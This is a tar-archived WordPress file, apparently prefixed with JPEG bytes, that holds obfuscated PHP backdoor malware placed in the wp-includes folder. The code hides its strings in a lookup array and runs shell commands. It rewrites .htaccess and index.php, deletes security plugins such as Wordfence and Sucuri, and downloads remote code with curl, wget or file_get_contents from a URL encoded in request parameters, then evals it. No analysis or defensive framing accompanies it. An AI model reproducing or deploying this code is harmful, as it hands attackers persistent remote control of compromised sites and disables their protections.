﻿     
        
   
       ÿØÿà JFIF      ÿÛ C      

!"$"$ÿÛ C  ÿÂ p " ÿÄ              ÿÄ             ÿÚ    ÕÔË®
(%	aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥	BQ¤¢ X«)X…€¤   @  

  ..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     var/www/html/wp-includes__db40bc3/ID3/kywlmrdc.php                                                  0000644                 00000044551 15221253637 0015661 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       b'<?php\r\n\r\n    error_reporting(0);\r\n    define(\'\xda\xba\', \'\xef\xbf\xbd\');\r\n    $GLOBALS[\xda\xba] = array(0 => "error_log", 1 => "log_errors", 2 => "display_errors", 3 => "<br>", 4 => "explode", 5 => "str_split", 6 => "/file_put_contents/", 7 => "/fwrite/", 8 => "./*", 9 => "/", 10 => ".php", 11 => "", 12 => "\\n", 13 => "file_put_contents", 14 => "w", 15 => "PHP_SELF", 16 => "DOCUMENT_ROOT", 17 => "cat ", 18 => "file_get_contents", 19 => "fopen", 20 => "stream_get_contents", 21 => "r", 22 => "implode", 23 => "file", 24 => "../", 25 => "?", 26 => "..", 27 => ".", 28 => "dir", 29 => "./", 30 => "exec", 31 => "passthru", 32 => "system", 33 => "shell_exec", 34 => "", 35 => "COOKIE.txt", 36 => "HTTP_USER_AGENT", 37 => "/Warning:/", 38 => "<?php", 39 => "COOKIE.txt", 40 => "#name=\\"atok\\" value=\\"(.*)\\">#", 41 => "/cdn-cgi/phish-bypass?u=/&atok=", 42 => "wget --header=\\"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Mobile/15E148 Safari/604.1\\" --header=\\"Referer: https://google.com/\\" ", 43 => " -O ", 44 => "/tmp/", 45 => "123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 46 => ".txt", 47 => "stream_context_create", 48 => "r", 49 => "http", 50 => "method", 51 => "GET", 52 => "header", 53 => "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Mobile/15E148 Safari/604.1\\r\\nReferer: https://google.com/\\r\\n", 54 => "curl_exec", 55 => "https://", 56 => "https://google.com/", 57 => "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Mobile/15E148 Safari/604.1", 58 => "method", 59 => "GET", 60 => "header", 61 => "REQUEST_URI", 62 => "y", 63 => "a", 64 => "s", 65 => "b", 66 => "d", 67 => "u", 68 => "f", 69 => "q", 70 => "k", 71 => "p", 72 => "l", 73 => "z", 74 => "h", 75 => "i", 76 => "j", 77 => "v", 78 => "x", 79 => "//", 80 => ".", 81 => "sucuri-scanner", 82 => "better-wp-security", 83 => "jetpack", 84 => "wpscan", 85 => "wordfence", 86 => "bulletproof-security", 87 => "all-in-one-wp-security-and-firewall", 88 => "miniorange-2-factor-authentication", 89 => "/wp-content/plugins/", 90 => "/.htaccess", 91 => "/deny(.*)from(.*)all/", 92 => "/order(.*)allow(.*)deny/", 93 => "/index.php", 94 => "/wp-includes/plugin.php", 95 => "/wp-blog-header.php/", 96 => "<?php\\ndefine( \'WP_USE_THEMES\', true );\\nrequire __DIR__ . \'/wp-blog-header.php\';", 97 => "/<html/", 98 => "/<div/", 99 => "/<head>/", 100 => "/<script>/", 101 => "/\\\\\\$path.*=.*\\"(.*)\\";/", 102 => "<IfModule mod_rewrite.c>\\nRewriteEngine On\\nRewriteBase /\\nRewriteRule ^index\\\\.php\\$ - [L]\\nRewriteCond %{REQUEST_FILENAME} !-f\\nRewriteCond %{REQUEST_FILENAME} !-d\\nRewriteRule . /index.php [L]\\n</IfModule>", 103 => "/index.php/", 104 => "/index.php.bak/", 105 => "index.php", 106 => "index.php.bak", 107 => "/about.php", 108 => "/d_time/", 109 => "/SylVxy/", 110 => "/radio.php", 111 => "action", 112 => "http://", 113 => "<?", 114 => "?>", 115 => "action", 116 => "H*", 117 => "403", 118 => "/.user.ini", 119 => "KEY: <!-- MD5: ", 120 => "HTTP_HOST", 121 => "\\xe2\\x80\\x93->");\r\n    error_reporting(0);\r\n    @ini_set($GLOBALS[\xda\xba][0], NULL);\r\n    @ini_set($GLOBALS[\xda\xba][0x1], 0);\r\n    @ini_set($GLOBALS[\xda\xba][0x2], 0);\r\n    echo "<br>";\r\n    if (!function_exists($GLOBALS[\xda\xba][0x4])) {\r\n        function explode($str, $array)\r\n        {\r\n            return split($str, $array);\r\n        }\r\n    }\r\n    if (!function_exists($GLOBALS[\xda\xba][0x5])) {\r\n        function str_split($text, $split = 0x1)\r\n        {\r\n            $array = array();\r\n            for ($i = 0; $i < strlen($text);) {\r\n                $array[] = substr($text, $i, $split);\r\n                $i += $split;\r\n            }\r\n            return $array;\r\n        }\r\n    }\r\n    function oDxsw($j_7Nl, $bf80o = null, $kiuKi = null)\r\n    {\r\n        $QvxWc = curl_init();\r\n        curl_setopt($QvxWc, CURLOPT_URL, $j_7Nl);\r\n        curl_setopt($QvxWc, CURLOPT_HEADER, !0);\r\n        curl_setopt($QvxWc, CURLOPT_RETURNTRANSFER, 0x1);\r\n        curl_setopt($QvxWc, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\n        curl_setopt($QvxWc, CURLOPT_CONNECTTIMEOUT, 0x1e);\r\n        curl_setopt($QvxWc, CURLOPT_TIMEOUT, 0x1e);\r\n        curl_setopt($QvxWc, CURLOPT_FOLLOWLOCATION, 0x1);\r\n        curl_setopt($QvxWc, CURLOPT_SSL_VERIFYPEER, 0);\r\n        curl_setopt($QvxWc, CURLOPT_SSL_VERIFYHOST, 0);\r\n        curl_setopt($QvxWc, CURLOPT_USERAGENT, $_SERVER[$GLOBALS[\xda\xba][0x24]]);\r\n        curl_setopt($QvxWc, CURLOPT_COOKIEFILE, $GLOBALS[\xda\xba][0x23]);\r\n        curl_setopt($QvxWc, CURLOPT_COOKIEJAR, $GLOBALS[\xda\xba][0x23]);\r\n        if ($bf80o != null) {\r\n            curl_setopt($QvxWc, CURLOPT_HTTPHEADER, $bf80o);\r\n        }\r\n        if ($kiuKi != null) {\r\n            curl_setopt($QvxWc, CURLOPT_POST, 0x1);\r\n            curl_setopt($QvxWc, CURLOPT_POSTFIELDS, $kiuKi);\r\n        }\r\n        $HOv2H = curl_exec($QvxWc);\r\n        curl_close($QvxWc);\r\n        return $HOv2H;\r\n    }\r\n    function RK_c8($WjdeA)\r\n    {\r\n        $FkCuj = $GLOBALS[\xda\xba][0xb];\r\n        if (function_exists($GLOBALS[\xda\xba][0x1e])) {\r\n            @exec($WjdeA, $FkCuj);\r\n            $FkCuj = @join($GLOBALS[\xda\xba][0xc], $FkCuj);\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x1f])) {\r\n            ob_start();\r\n            @passthru($WjdeA);\r\n            $FkCuj = ob_get_clean();\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x20])) {\r\n            ob_start();\r\n            @system($WjdeA);\r\n            $FkCuj = ob_get_clean();\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x21])) {\r\n            $FkCuj = shell_exec($WjdeA);\r\n        } elseif (is_resource($aWMlI = @popen($WjdeA, $GLOBALS[\xda\xba][0x15]))) {\r\n            $FkCuj = $GLOBALS[\xda\xba][0x22];\r\n            while (!@feof($aWMlI)) {\r\n                $FkCuj .= fread($aWMlI, 0x400);\r\n            }\r\n            pclose($aWMlI);\r\n        }\r\n        return $FkCuj;\r\n    }\r\n    function JUgSe($IzeGa)\r\n    {\r\n        $FiYF_ = $GLOBALS[\xda\xba][0xb];\r\n        if (trim($FiYF_) == $GLOBALS[\xda\xba][0xb] && function_exists($GLOBALS[\xda\xba][0x12]) && function_exists($GLOBALS[\xda\xba][0x2f])) {\r\n            $FiYF_ = file_get_contents($IzeGa, !1, stream_context_create(array($GLOBALS[\xda\xba][0x31] => array($GLOBALS[\xda\xba][0x3a] => $GLOBALS[\xda\xba][0x3b], $GLOBALS[\xda\xba][0x3c] => $GLOBALS[\xda\xba][0x35]))));\r\n        }\r\n        if (trim($FiYF_) == $GLOBALS[\xda\xba][0xb] && function_exists($GLOBALS[\xda\xba][0x36])) {\r\n            $s2gFs = curl_init();\r\n            curl_setopt($s2gFs, CURLOPT_TIMEOUT, 0xa);\r\n            curl_setopt($s2gFs, CURLOPT_RETURNTRANSFER, !0);\r\n            curl_setopt($s2gFs, CURLOPT_URL, $IzeGa);\r\n            curl_setopt($s2gFs, CURLOPT_USERAGENT, $GLOBALS[\xda\xba][0x39]);\r\n            curl_setopt($s2gFs, CURLOPT_REFERER, $GLOBALS[\xda\xba][0x38]);\r\n            curl_setopt($s2gFs, CURLOPT_FOLLOWLOCATION, !0);\r\n            if (stristr($IzeGa, $GLOBALS[\xda\xba][0x37])) {\r\n                curl_setopt($s2gFs, CURLOPT_SSL_VERIFYPEER, 0);\r\n                curl_setopt($s2gFs, CURLOPT_SSL_VERIFYHOST, 0);\r\n            }\r\n            curl_setopt($s2gFs, CURLOPT_HEADER, !1);\r\n            $FiYF_ = curl_exec($s2gFs);\r\n            curl_close($s2gFs);\r\n        }\r\n        if (trim($FiYF_) == $GLOBALS[\xda\xba][0xb]) {\r\n            $fO5cJ = $GLOBALS[\xda\xba][0x2c] . substr(str_shuffle($GLOBALS[\xda\xba][0x2d]), 0x32) . $GLOBALS[\xda\xba][0x2e];\r\n            rK_C8($GLOBALS[\xda\xba][0x2a] . $IzeGa . $GLOBALS[\xda\xba][0x2b] . $fO5cJ);\r\n            if (function_exists($GLOBALS[\xda\xba][0x12])) {\r\n                $FiYF_ = file_get_contents($fO5cJ);\r\n            } else {\r\n                $FiYF_ = stream_get_contents(fopen($fO5cJ, $GLOBALS[\xda\xba][0x15]));\r\n            }\r\n            unlink($fO5cJ);\r\n        }\r\n        if (trim($FiYF_) == $GLOBALS[\xda\xba][0xb] && function_exists($GLOBALS[\xda\xba][0x13]) && function_exists($GLOBALS[\xda\xba][0x14]) && function_exists($GLOBALS[\xda\xba][0x2f])) {\r\n            $RNvUK = fopen($IzeGa, $GLOBALS[\xda\xba][0x30], !1, stream_context_create(array($GLOBALS[\xda\xba][0x31] => array($GLOBALS[\xda\xba][0x32] => $GLOBALS[\xda\xba][0x33], $GLOBALS[\xda\xba][0x34] => $GLOBALS[\xda\xba][0x35]))));\r\n            $FiYF_ = stream_get_contents($RNvUK);\r\n        }\r\n        return $FiYF_;\r\n    }\r\n    function AsrZX($ok6e_)\r\n    {\r\n        $p35sK = $GLOBALS[\xda\xba][0xb];\r\n        if (function_exists($GLOBALS[\xda\xba][0x12])) {\r\n            $p35sK = file_get_contents($ok6e_);\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x13]) && function_exists($GLOBALS[\xda\xba][0x14])) {\r\n            $p35sK = stream_get_contents(fopen($ok6e_, $GLOBALS[\xda\xba][0x15]));\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x16]) && function_exists($GLOBALS[\xda\xba][0x17])) {\r\n            $p35sK = implode(file($ok6e_));\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x17])) {\r\n            $mPYIt = file($ok6e_);\r\n            if (function_exists($GLOBALS[\xda\xba][0x16])) {\r\n                $p35sK = implode($mPYIt);\r\n            } else {\r\n                foreach ($mPYIt as $zd4bR) {\r\n                    $p35sK .= $zd4bR;\r\n                }\r\n            }\r\n        }\r\n        if (trim($p35sK) == $GLOBALS[\xda\xba][0xb]) {\r\n            $p35sK = Rk_c8($GLOBALS[\xda\xba][0x11] . $ok6e_);\r\n        }\r\n        return $p35sK;\r\n    }\r\n    function QxB8Z($ok6e_, $iTqoS)\r\n    {\r\n        if (function_exists($GLOBALS[\xda\xba][0xd])) {\r\n            $fYuhN = file_put_contents($ok6e_, $iTqoS);\r\n        } else {\r\n            $fYuhN = fwrite(fopen($ok6e_, $GLOBALS[\xda\xba][0xe]), $iTqoS);\r\n        }\r\n        return $fYuhN;\r\n    }\r\n    function ZMpTl($KKNL0, $bN80E)\r\n    {\r\n        $n6JcJ = 0;\r\n        $Nzr3p = aSRzx($KKNL0);\r\n        $mPYIt = explode($GLOBALS[\xda\xba][0xc], $Nzr3p);\r\n        foreach ($mPYIt as $zd4bR) {\r\n            if (strstr($zd4bR, $bN80E)) {\r\n                $n6JcJ++;\r\n            }\r\n        }\r\n        return $n6JcJ;\r\n    }\r\n    function rlAoq($KKNL0, $bN80E)\r\n    {\r\n        $Nucua = ZMPtL($KKNL0, $bN80E);\r\n        $Nzr3p = ASRzx($KKNL0);\r\n        $mPYIt = explode($GLOBALS[\xda\xba][0xc], $Nzr3p);\r\n        $tlBti = $GLOBALS[\xda\xba][0xb];\r\n        foreach ($mPYIt as $zd4bR) {\r\n            if (strstr($zd4bR, $bN80E) || $Nucua <= 0) {\r\n                $Nucua--;\r\n                if ($Nucua <= 0) {\r\n                    $tlBti .= $zd4bR . $GLOBALS[\xda\xba][0xc];\r\n                }\r\n            }\r\n        }\r\n        return $tlBti;\r\n    }\r\n    function MiMRi($BSTSR)\r\n    {\r\n        $iTMgs = $BSTSR . $GLOBALS[\xda\xba][0x5a];\r\n        $CTswv = strtolower(aSRZX($iTMgs));\r\n        if (preg_match($GLOBALS[\xda\xba][0x5b], $CTswv) || preg_match($GLOBALS[\xda\xba][0x5c], $CTswv)) {\r\n            $qsml6 = $BSTSR . $GLOBALS[\xda\xba][0x5e];\r\n            $HH0Dt = aSrzx($qsml6);\r\n            if (preg_match($GLOBALS[\xda\xba][0x67], $HH0Dt) && !preg_match($GLOBALS[\xda\xba][0x68], $HH0Dt)) {\r\n                $HH0Dt = str_replace($GLOBALS[\xda\xba][0x69], $GLOBALS[\xda\xba][0x6a], $HH0Dt);\r\n                chmod($qsml6, 0644);\r\n                qXb8Z($qsml6, $HH0Dt);\r\n            }\r\n            if (preg_match($GLOBALS[\xda\xba][0x65], $HH0Dt, $A0J4x)) {\r\n                unlink($A0J4x[0x1]);\r\n            }\r\n            $Xa3Xv = $BSTSR . $GLOBALS[\xda\xba][0x6b];\r\n            $r4rLX = ASRZX($Xa3Xv);\r\n            if (file_exists($Xa3Xv) && (preg_match($GLOBALS[\xda\xba][0x6c], $r4rLX) || preg_match($GLOBALS[\xda\xba][0x6d], $r4rLX))) {\r\n                unlink($Xa3Xv);\r\n                unlink($BSTSR . $GLOBALS[\xda\xba][0x6e]);\r\n            }\r\n            $YzXVO = $BSTSR . $GLOBALS[\xda\xba][0x5d];\r\n            $ZcVkF = Asrzx($YzXVO);\r\n            if (preg_match($GLOBALS[\xda\xba][0x5f], $ZcVkF)) {\r\n                $TnBIs = $GLOBALS[\xda\xba][0x60];\r\n                chmod($YzXVO, 0644);\r\n                qxb8z($YzXVO, $TnBIs);\r\n            } elseif (strstr($ZcVkF, $GLOBALS[\xda\xba][0x26]) && !preg_match($GLOBALS[\xda\xba][0x61], $ZcVkF) && !preg_match($GLOBALS[\xda\xba][0x62], $ZcVkF) && !preg_match($GLOBALS[\xda\xba][0x63], $ZcVkF) && !preg_match($GLOBALS[\xda\xba][0x64], $ZcVkF)) {\r\n                $TnBIs = rLaoq($YzXVO, $GLOBALS[\xda\xba][0x26]);\r\n                chmod($YzXVO, 0644);\r\n                qxb8z($YzXVO, $TnBIs);\r\n            }\r\n            chmod($iTMgs, 0644);\r\n            $z_5mN = $GLOBALS[\xda\xba][0x66];\r\n            QXb8Z($iTMgs, $z_5mN);\r\n        }\r\n    }\r\n    function iRmJx($ok6e_)\r\n    {\r\n        $ok6e_ = substr($ok6e_, -1) == $GLOBALS[\xda\xba][0x9] ? $ok6e_ : $ok6e_ . $GLOBALS[\xda\xba][0x9];\r\n        $SZzID = opendir($ok6e_);\r\n        while (($phOnJ = readdir($SZzID)) !== !1) {\r\n            $phOnJ = $ok6e_ . $phOnJ;\r\n            if (basename($phOnJ) == $GLOBALS[\xda\xba][0x1a] || basename($phOnJ) == $GLOBALS[\xda\xba][0x1b]) {\r\n                continue;\r\n            }\r\n            $tabyZ = filetype($phOnJ);\r\n            if ($tabyZ == $GLOBALS[\xda\xba][0x1c]) {\r\n                irMjX($phOnJ);\r\n            } else {\r\n                @unlink($phOnJ);\r\n            }\r\n        }\r\n        closedir($SZzID);\r\n        @rmdir($ok6e_);\r\n    }\r\n    function ocIVI($BSTSR)\r\n    {\r\n        $jYG7l = array($GLOBALS[\xda\xba][0x51], $GLOBALS[\xda\xba][0x52], $GLOBALS[\xda\xba][0x53], $GLOBALS[\xda\xba][0x54], $GLOBALS[\xda\xba][0x55], $GLOBALS[\xda\xba][0x56], $GLOBALS[\xda\xba][0x57], $GLOBALS[\xda\xba][0x58]);\r\n        foreach ($jYG7l as $HH0Dt) {\r\n            $jAUNf = $BSTSR . $GLOBALS[\xda\xba][0x59] . $HH0Dt;\r\n            if (is_dir($jAUNf)) {\r\n                iRmJx($jAUNf);\r\n            }\r\n        }\r\n    }\r\n    $GhlyG = strval(basename("/var/www/html/bk.php"));\r\n    $aWMlI = explode($GLOBALS[\xda\xba][0x50], $GhlyG);\r\n    $GhlyG = $aWMlI[0] . $GLOBALS[\xda\xba][0xa];\r\n    $Nzr3p = aSRzx($GhlyG);\r\n    if (preg_match($GLOBALS[\xda\xba][0x6], $Nzr3p) || preg_match($GLOBALS[\xda\xba][0x7], $Nzr3p)) {\r\n        $LhFlr = glob($GLOBALS[\xda\xba][0x8]);\r\n        foreach ($LhFlr as $KKNL0) {\r\n            if (is_file($KKNL0)) {\r\n                unlink($KKNL0);\r\n            }\r\n        }\r\n        exit;\r\n    }\r\n    function LE86Y($ZJoHI, $iTqoS)\r\n    {\r\n        if (preg_match($GLOBALS[\xda\xba][0x25], $iTqoS)) {\r\n            preg_match($GLOBALS[\xda\xba][0x28], $iTqoS, $s2WNP);\r\n            $s2WNP = $s2WNP[0x1];\r\n            $dbhhI = oDXSW($ZJoHI . $GLOBALS[\xda\xba][0x29] . $s2WNP);\r\n            $iTqoS = odxSw($ZJoHI);\r\n            $iKFfw = $GLOBALS[\xda\xba][0x26];\r\n            $RJWgv = strpos($iTqoS, $iKFfw) + strlen($iKFfw);\r\n            $iTqoS = $GLOBALS[\xda\xba][0x26] . substr($iTqoS, $RJWgv);\r\n            unlink($GLOBALS[\xda\xba][0x27]);\r\n        }\r\n        return $iTqoS;\r\n    }\r\n    function FbJtr($P94B6)\r\n    {\r\n        $dozF_ = array($GLOBALS[\xda\xba][0x3e] => $GLOBALS[\xda\xba][0x3f], $GLOBALS[\xda\xba][0x40] => $GLOBALS[\xda\xba][0x41], $GLOBALS[\xda\xba][0x3f] => $GLOBALS[\xda\xba][0x42], $GLOBALS[\xda\xba][0x43] => $GLOBALS[\xda\xba][0x44], $GLOBALS[\xda\xba][0x45] => $GLOBALS[\xda\xba][0x46], $GLOBALS[\xda\xba][0x47] => $GLOBALS[\xda\xba][0x48], $GLOBALS[\xda\xba][0x49] => $GLOBALS[\xda\xba][0x4a], $GLOBALS[\xda\xba][0x41] => $GLOBALS[\xda\xba][0x4b], $GLOBALS[\xda\xba][0x44] => $GLOBALS[\xda\xba][0x4c], $GLOBALS[\xda\xba][0x4d] => $GLOBALS[\xda\xba][0x47], $GLOBALS[\xda\xba][0x42] => $GLOBALS[\xda\xba][0x45], $GLOBALS[\xda\xba][0x4b] => $GLOBALS[\xda\xba][0x40], $GLOBALS[\xda\xba][0x4e] => $GLOBALS[\xda\xba][0x43], $GLOBALS[\xda\xba][0x48] => $GLOBALS[\xda\xba][0x4d], $GLOBALS[\xda\xba][0x46] => $GLOBALS[\xda\xba][0x4e], $GLOBALS[\xda\xba][0x4a] => $GLOBALS[\xda\xba][0x3e], $GLOBALS[\xda\xba][0x4c] => $GLOBALS[\xda\xba][0x49]);\r\n        $zYBxV = str_split($P94B6);\r\n        $Tax0X = $GLOBALS[\xda\xba][0xb];\r\n        foreach ($zYBxV as $Um4AM) {\r\n            if (in_array($Um4AM, $dozF_)) {\r\n                $Tax0X .= $dozF_[$Um4AM];\r\n            } else {\r\n                $Tax0X .= $Um4AM;\r\n            }\r\n        }\r\n        return $Tax0X;\r\n    }\r\n    function eOcGK($BSTSR)\r\n    {\r\n        $BPpYo = realpath($BSTSR);\r\n        if (trim($BPpYo) == $GLOBALS[\xda\xba][0xb]) {\r\n            $BPpYo = $_SERVER[$GLOBALS[\xda\xba][0x10]];\r\n        }\r\n        if (!stristr(getcwd(), $BPpYo)) {\r\n            $BPpYo = str_replace($_SERVER[$GLOBALS[\xda\xba][0xf]], $GLOBALS[\xda\xba][0xb], "/var/www/html/bk.php");\r\n        }\r\n        return $BPpYo;\r\n    }\r\n    $smTub = strval($_SERVER[$GLOBALS[\xda\xba][0x3d]]);\r\n    while (strstr($smTub, $GLOBALS[\xda\xba][0x4f])) {\r\n        $smTub = str_replace($GLOBALS[\xda\xba][0x4f], $GLOBALS[\xda\xba][0x9], $smTub);\r\n    }\r\n    if (strstr($smTub, $GLOBALS[\xda\xba][0x19])) {\r\n        $smTub = explode($GLOBALS[\xda\xba][0x19], $smTub);\r\n        $smTub = $smTub[0];\r\n    }\r\n    $tzTJj = substr_count($smTub, $GLOBALS[\xda\xba][0x9]);\r\n    $BSTSR = $GLOBALS[\xda\xba][0x1d];\r\n    $K71UX = 0x1;\r\n    while ($K71UX < intval($tzTJj)) {\r\n        $BSTSR .= $GLOBALS[\xda\xba][0x18];\r\n        $K71UX++;\r\n    }\r\n    $BSTSR = EOcgk($BSTSR);\r\n    MiMRi($BSTSR);\r\n    oCIVi($BSTSR);\r\n    if (isset($_GET[$GLOBALS[\xda\xba][0x6f]])) {\r\n        $vo1vU = trim($_GET[$GLOBALS[\xda\xba][0x73]]);\r\n        $vo1vU = str_rot13(pack($GLOBALS[\xda\xba][0x74], strrev($vo1vU)));\r\n        $F3bIg = JuGse($GLOBALS[\xda\xba][0x70] . FbJTr($vo1vU));\r\n        $F3bIg = Le86y($GLOBALS[\xda\xba][0x70] . fbjtR($vo1vU), $F3bIg);\r\n        $F3bIg = str_replace(array($GLOBALS[\xda\xba][0x26], $GLOBALS[\xda\xba][0x71], $GLOBALS[\xda\xba][0x72]), $GLOBALS[\xda\xba][0xb], $F3bIg);\r\n        eval($F3bIg);\r\n    } elseif (isset($_GET[$GLOBALS[\xda\xba][0x75]])) {\r\n        $CTswv = $GLOBALS[\xda\xba][0x66];\r\n        chmod($BSTSR . $GLOBALS[\xda\xba][0x5a], 0644);\r\n        QxB8z($BSTSR . $GLOBALS[\xda\xba][0x5a], $CTswv);\r\n        unlink($BSTSR . $GLOBALS[\xda\xba][0x76]);\r\n    } else {\r\n        echo $GLOBALS[\xda\xba][0x77] . md5($_SERVER[$GLOBALS[\xda\xba][0x78]]) . $GLOBALS[\xda\xba][0x79];\r\n    }'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       